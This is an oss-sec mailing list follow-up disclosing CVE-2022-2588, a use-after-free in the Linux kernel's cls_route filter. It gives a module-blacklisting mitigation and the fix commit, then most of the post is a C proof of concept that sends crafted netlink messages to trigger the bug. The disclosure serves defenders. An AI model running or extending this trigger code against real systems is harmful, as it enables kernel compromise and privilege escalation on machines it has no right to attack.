oss-sec mailing list archives
Re: CVE-2022-2588 - Linux kernel cls_route UAF
From: Thadeu Lima de Souza Cascardo <cascardo () canonical com>
Date: Wed, 17 Aug 2022 17:27:57 -0300
On Tue, Aug 09, 2022 at 02:11:54PM -0300, Thadeu Lima de Souza Cascardo wrote:
CVE-2022-2588 - Linux kernel cls_route UAF It was discovered that the cls_route filter implementation in the Linux kernel would not remove an old filter from the hashtable before freeing it if its handle had the value 0. Zhenpeng Lin working with Trend Micro's Zero Day Initiative discovered that this vulnerability could be exploited for Local Privilege Escalation. This has been reported as ZDI-CAN-17440, and assigned CVE-2022-2588. This bug has been present since the first Linux commit git, v2.6.12-rc2. Exploiting it requires CAP_NET_ADMIN in any user or network namespace. It can be mitigated by those users who do not rely on cls_route, by adding 'install cls_route /bin/true' to their modprobe.conf or modprobe.d configs, in case it's built as a module. A PoC that will trigger a WARNING is going to be posted in a week. Fixes have been sent to netdev () vger kernel org and are at https://lore.kernel.org/netdev/20220809170518.164662-1-cascardo () canonical com/T/#u.
This has been merged as commit 9ad36309e2719a884f946678e0296be10f0bb4c1.
And here is the PoC.
#define _GNU_SOURCE
#include <sched.h>
#include <sys/socket.h>
#include <linux/netlink.h>
#include <unistd.h>
#include <stdio.h>
#include <sys/wait.h>
#include <stdlib.h>
#include <string.h>
#include <linux/pkt_sched.h>
#include <sys/types.h>
#include <sys/ipc.h>
#include <sys/msg.h>
#include <stdlib.h>
static char newlink[] = {
/* len */
56, 0x00, 0x00, 0x00,
/* type = NEWLINK */
16, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x01, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* ifi_family */
0x00, 0x00, 0x00, 0x00,
/* ifi_ifindex */
0x30, 0x00, 0x00, 0x00,
/* ifi_flags */
0x00, 0x00, 0x00, 0x00,
/* ifi_change */
0x00, 0x00, 0x00, 0x00,
/* nla_len, nla_type */
0x08, 0x00, 0x03, 0x00,
/* string */
'e', 't', '2', 0,
/* nla_len, nla_type */
16, 0x00, 18, 0x00,
/* nested nla_len, nla_type */
10, 0x00, 0x01, 0x00,
'd', 'u', 'm', 'm',
'y', 0x00, 0x00, 0x00,
};
static char dellink[] = {
/* len */
40, 0x00, 0x00, 0x00,
/* type = DELLINK */
17, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x01, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* ifi_family */
0x00, 0x00, 0x00, 0x00,
/* ifi_ifindex */
0x00, 0x00, 0x00, 0x00,
/* ifi_flags */
0x00, 0x00, 0x00, 0x00,
/* ifi_change */
0x00, 0x00, 0x00, 0x00,
/* nla_len, nla_type */
0x08, 0x00, 0x03, 0x00,
/* string */
'e', 't', '2', 0,
};
static char tfilter[] = {
/* len */
68, 0x00, 0x00, 0x00,
/* type = NEWTFILTER */
44, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
0x41, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* tcm_family */
0x00, 0x00, 0x00, 0x00,
/* tcm_ifindex */
0x30, 0x00, 0x00, 0x00,
/* tcm_handle */
0x00, 0x00, 0x00, 0x00,
/* tcm_parent */
0x00, 0x00, 0x01, 0x00,
/* tcm_info = protocol/prio */
0x01, 0x00, 0x01, 0x00,
/* nla_len, nla_type */
0x0a, 0x00, 0x01, 0x00,
/* string */
'r', 'o', 'u', 't',
'e', 0, 0, 0,
/* OPTIONS */
0x14, 0x00, 0x02, 0x00,
/* ROUTE4_TO */
0x08, 0x00, 0x02, 0x00,
0x00, 0x00, 0x00, 0x00,
/* ROUTE4_FROM */
0x08, 0x00, 0x03, 0x00,
0x00, 0x00, 0x00, 0x00,
};
static char ntfilter[] = {
/* len */
56, 0x00, 0x00, 0x00,
/* type = NEWTFILTER */
44, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE */
/* 0x200 = NLM_F_EXCL */
0x41, 0x04,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* tcm_family */
0x00, 0x00, 0x00, 0x00,
/* tcm_ifindex */
0x30, 0x00, 0x00, 0x00,
/* tcm_handle */
0x00, 0x00, 0x00, 0x00,
/* tcm_parent */
0x00, 0x00, 0x01, 0x00,
/* tcm_info = protocol/prio */
0x01, 0x00, 0x01, 0x00,
/* OPTIONS */
0x14, 0x00, 0x02, 0x00,
/* ROUTE4_TO */
0x08, 0x00, 0x02, 0x00,
0x01, 0x00, 0x00, 0x00,
/* ROUTE4_FROM */
0x08, 0x00, 0x03, 0x00,
0x00, 0x00, 0x00, 0x00,
};
static char linkcmd[] = {
/* len */
44, 0x00, 0x00, 0x00,
/* type = NEWQDISC */
36, 0x00,
/* flags = NLM_F_REQUEST | NLM_F_CREATE | NLM_F_REPLACE */
0x01, 0x05,
/* seq */
0x01, 0x00, 0x00, 0x00,
/* pid */
0x00, 0x00, 0x00, 0x00,
/* tcm_family */
0x00, 0x00, 0x00, 0x00,
/* tcm_ifindex */
0x30, 0x00, 0x00, 0x00,
/* tcm_handle */
0x00, 0x00, 0x01, 0x00,
/* tcm_parent */
0xff, 0xff, 0xff, 0xff,
/* tcm_info = protocol/prio */
0x00, 0x00, 0x00, 0x00,
/* nla_len, nla_type */
0x04, 0x00, 0x01, 0x00,
/* string */
};
int build_qfq(char *buf)
{
char *qopt;
short *tlen;
char *qdisc = "qfq";
short *optlen;
short *opttype;
tlen = buf;
memset(buf, 0, sizeof(buf));
memcpy(buf, linkcmd, sizeof(linkcmd));
strcpy(buf+sizeof(linkcmd), qdisc);
*tlen = sizeof(linkcmd) + strlen(qdisc) + 1;
buf[36] = strlen(qdisc)+5;
qopt = buf + *tlen;
/* nla_len, nla_type */
/* 24, 0x00, 0x02, 0x00, */
optlen = qopt;
opttype = optlen + 1;
*opttype = 0x2;
*optlen = 4;
*tlen += *optlen;
return *tlen;
}
int main(int argc, char **argv)
{
int s;
pid_t p;
int *error;
char buf[4096];
int tlen;
error = (int *) (buf + 16);
unsigned long count = 1;
int i;
unshare(CLONE_NEWUSER|CLONE_NEWNET);
tlen = build_qfq(buf);
s = socket(AF_NETLINK, SOCK_RAW|SOCK_NONBLOCK, NETLINK_ROUTE);
write(s, newlink, sizeof(newlink));
read(s, buf, sizeof(buf));
printf("%d\n", *error);
write(s, buf, tlen);
read(s, buf, sizeof(buf));
printf("%d\n", *error);
write(s, tfilter, sizeof(tfilter));
read(s, buf, sizeof(buf));
printf("%d\n", *error);
write(s, ntfilter, sizeof(ntfilter));
read(s, buf, sizeof(buf));
printf("%d\n", *error);
write(s, dellink, sizeof(dellink));
read(s, buf, sizeof(buf));
printf("%d\n", *error);
return 0;
}
Current thread:
- CVE-2022-2588 - Linux kernel cls_route UAF Thadeu Lima de Souza Cascardo (Aug 09)
- Re: CVE-2022-2588 - Linux kernel cls_route UAF Vegard Nossum (Aug 09)
- Re: CVE-2022-2588 - Linux kernel cls_route UAF Thadeu Lima de Souza Cascardo (Aug 18)
